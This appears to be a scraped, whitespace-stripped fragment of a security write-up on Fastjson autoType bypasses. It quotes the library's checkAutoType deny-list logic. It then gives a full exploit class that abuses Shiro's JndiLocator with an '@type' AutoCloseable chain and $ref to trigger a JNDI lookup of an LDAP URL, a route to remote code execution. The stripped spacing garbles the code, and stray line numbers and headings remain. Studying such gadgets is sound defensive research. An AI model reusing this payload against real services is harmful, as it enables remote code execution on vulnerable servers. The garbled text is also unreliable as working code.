if(typeName==null){returnnull;}if(autoTypeCheckHandlers!=null){for(AutoTypeCheckHandlerh:autoTypeCheckHandlers){Class<?>type=h.handler(typeName,expectClass,features);if(type!=null){returntype;}}}finalintsafeModeMask=Feature.SafeMode.mask;booleansafeMode=this.safeMode||(features&safeModeMask)!=0||(JSON.DEFAULT_PARSER_FEATURE&safeModeMask)!=0;if(safeMode){thrownewJSONException("safeMode not support autoType : "+typeName);}if(typeName.length()>=192||typeName.length()<3){thrownewJSONException("autoType is not support. "+typeName);}
StringclassName=typeName.replace('$','.');Class<?>clazz;finallongBASIC=0xcbf29ce484222325L;finallongPRIME=0x100000001b3L;finallongh1=(BASIC^className.charAt(0))*PRIME;if(h1==0xaf64164c86024f1aL){// [thrownewJSONException("autoType is not support. "+typeName);}if((h1^className.charAt(className.length()-1))*PRIME==0x9198507b5af98f0L){thrownewJSONException("autoType is not support. "+typeName);}finallongh3=(((((BASIC^className.charAt(0))*PRIME)^className.charAt(1))*PRIME)^className.charAt(2))*PRIME;longfullHash=TypeUtils.fnv1a_64(className);booleaninternalWhite=Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,fullHash)>=0;if(internalDenyHashCodes!=null){longhash=h3;for(inti=3;i<className.length();++i){hash^=className.charAt(i);hash*=PRIME;if(Arrays.binarySearch(internalDenyHashCodes,hash)>=0){thrownewJSONException("autoType is not support. "+typeName);}}}if((!internalWhite)&&(autoTypeSupport||expectClassFlag)){longhash=h3;for(inti=3;i<className.length();++i){hash^=className.charAt(i);hash*=PRIME;if(Arrays.binarySearch(acceptHashCodes,hash)>=0){clazz=TypeUtils.loadClass(typeName,defaultClassLoader,true);if(clazz!=null){returnclazz;}}if(Arrays.binarySearch(denyHashCodes,hash)>=0&&TypeUtils.getClassFromMapping(typeName)==null){if(Arrays.binarySearch(acceptHashCodes,fullHash)>=0){continue;}thrownewJSONException("autoType is not support. "+typeName);}}}
if(!autoTypeSupport){longhash=h3;for(inti=3;i<className.length();++i){charc=className.charAt(i);hash^=c;hash*=PRIME;if(Arrays.binarySearch(denyHashCodes,hash)>=0){thrownewJSONException("autoType is not support. "+typeName);}// white listif(Arrays.binarySearch(acceptHashCodes,hash)>=0){clazz=TypeUtils.loadClass(typeName,defaultClassLoader,true);if(expectClass!=null&&expectClass.isAssignableFrom(clazz)){thrownewJSONException("type not match. "+typeName+" -> "+expectClass.getName());}returnclazz;}}}
finalintmask=Feature.SupportAutoType.mask;booleanautoTypeSupport=this.autoTypeSupport||(features&mask)!=0||(JSON.DEFAULT_PARSER_FEATURE&mask)!=0;if(autoTypeSupport||jsonType||expectClassFlag){booleancacheClass=autoTypeSupport||jsonType;clazz=TypeUtils.loadClass(typeName,defaultClassLoader,cacheClass);}if(clazz!=null){if(jsonType){TypeUtils.addMapping(typeName,clazz);returnclazz;}if(ClassLoader.class.isAssignableFrom(clazz)// classloader is danger||javax.sql.DataSource.class.isAssignableFrom(clazz)// dataSource can load jdbc driver||javax.sql.RowSet.class.isAssignableFrom(clazz)//){thrownewJSONException("autoType is not support. "+typeName);}if(expectClass!=null){if(expectClass.isAssignableFrom(clazz)){TypeUtils.addMapping(typeName,clazz);returnclazz;}else{thrownewJSONException("type not match. "+typeName+" -> "+expectClass.getName());}}JavaBeanInfobeanInfo=JavaBeanInfo.build(clazz,clazz,propertyNamingStrategy);if(beanInfo.creatorConstructor!=null&&autoTypeSupport){thrownewJSONException("autoType is not support. "+typeName);}}
packageorg.chabug.fastjson.exploit;importcom.alibaba.fastjson.JSON;importorg.apache.shiro.jndi.JndiLocator;importorg.apache.shiro.util.Factory;importjavax.naming.NamingException;publicclassRefAnyGetterInvoke<T>extendsJndiLocatorimplementsFactory<T>,AutoCloseable{privateStringresourceName;publicRefAnyGetterInvoke(){}publicstaticvoidmain(String[]args){Stringjson="{\n"+" \"@type\":\"java.lang.AutoCloseable\",\n"+" \"@type\": \"org.chabug.fastjson.exploit.RefAnyGetterInvoke\",\n"+" \"resourceName\": \"ldap://localhost:1389/Calc\",\n"+" \"instance\": {\n"+" \"$ref\": \"$.instance\"\n"+" }\n"+"}";System.out.println(json);JSON.parse(json);// 默认不会调用getter 使用$ref就可以调用到getInstance()// JSON.parseObject(json); // parseObject默认就会调用getter getInstance()}publicTgetInstance(){System.out.println(getClass().getName()+".getInstance() invoke.");try{return(T)this.lookup(this.resourceName);}catch(NamingExceptionvar3){thrownewIllegalStateException("Unable to look up with jndi name '"+this.resourceName+"'.",var3);}}publicStringgetResourceName(){System.out.println(getClass().getName()+".getResourceName() invoke.");returnthis.resourceName;}publicvoidsetResourceName(StringresourceName){System.out.println(getClass().getName()+".setResourceName() invoke.");this.resourceName=resourceName;}@Overridepublicvoidclose()throwsException{}}
2 gadget
1
2
3
4
5
6
if(ClassLoader.class.isAssignableFrom(clazz)// classloader is danger||javax.sql.DataSource.class.isAssignableFrom(clazz)// dataSource can load jdbc driver||javax.sql.RowSet.class.isAssignableFrom(clazz)//){thrownewJSONException("autoType is not support. "+typeName);}